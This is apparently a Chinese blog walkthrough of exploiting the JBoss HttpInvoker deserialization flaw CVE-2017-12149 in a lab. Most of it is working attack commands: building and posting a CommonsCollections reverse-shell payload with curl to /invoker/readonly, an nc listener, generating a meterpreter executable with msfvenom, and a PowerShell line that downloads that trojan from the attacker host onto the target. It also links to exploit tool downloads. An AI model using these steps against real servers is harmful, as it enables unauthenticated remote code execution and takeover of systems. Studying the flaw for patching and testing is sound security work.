jboss反序列化 CVE-2017-12149

漏洞描述

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞范围

5.x、6.x版本

漏洞复现

先下载jboss6.1版本进行测试。

下载地址https://blog.csdn.net/qq_27446553/article/details/52445172

进行解压即可。

环境搭建

jboss 6.1、java 1.8.0

修改配置文件:

C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

address

修改address为0.0.0.0均可访问,端口默认8080

切换至 C:\jboss-6.1.0.Final\bin  运行run.bat

run.bat

进行访问。。

8080

漏洞页面

http://192.168.0.118:8080/invoker/readonly

500

一般500错误,证明有此漏洞。

或使用工具进行检测是否存在该漏洞。

工具测试

ipconfig

工具下载:https://pan.baidu.com/s/1didPVYkGR7r1NJhTnGOZLg  密码:ac5q

反弹shell

使用工具http://scan.javasec.cn/java/JavaDeserH2HC.zip

下载解压到kali。运行以下命令。

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap192.168.72.140:4444

curl  http://192.168.72.138:8080/invoker/readonly  --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在另一个窗口使用nc进行监听

nc  -lvp  4444

看效果图。。

shell

延伸

感觉是不是一个cmd还不太够玩。。试试和metasploit结合。

尝试在nc反弹的窗口中使用powershell下载木马运行反弹shell。

使用msfvenom生成msf马

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.72.140 LPORT=4444 -f exe > l.exe

将生成的马移动到/var/www/html下,开启apache服务。等待下载。

在nc反弹后使用powershell来下载exe马。

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.72.140/l.exe','C:\jboss-6.1.0.Final\bin\l.exe')

ok

查看一下当前目录是否有l.exe马

ok

ok。。马已经静静躺下啦。等待执行

下面就简单啦。。执行exe马,msf得到会话。

options
success或
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 6,163评论 0 10
  • 一、命令行 1. calc-----------启动计算器 2.certmgr.msc----证书管理实用程序 3...
    小小辛_c阅读 816评论 0 2
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    ___大鱼___阅读 1,319评论 1 5
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 3,043评论 0 8
  • 我很喜欢这样一句话:生活在自己头脑建构的世界中的人,常常是生活在地狱中。为了随时提醒自己,我把这句话放在创作文档的...
    竞走的蜗牛阅读 180评论 0 0

友情链接更多精彩内容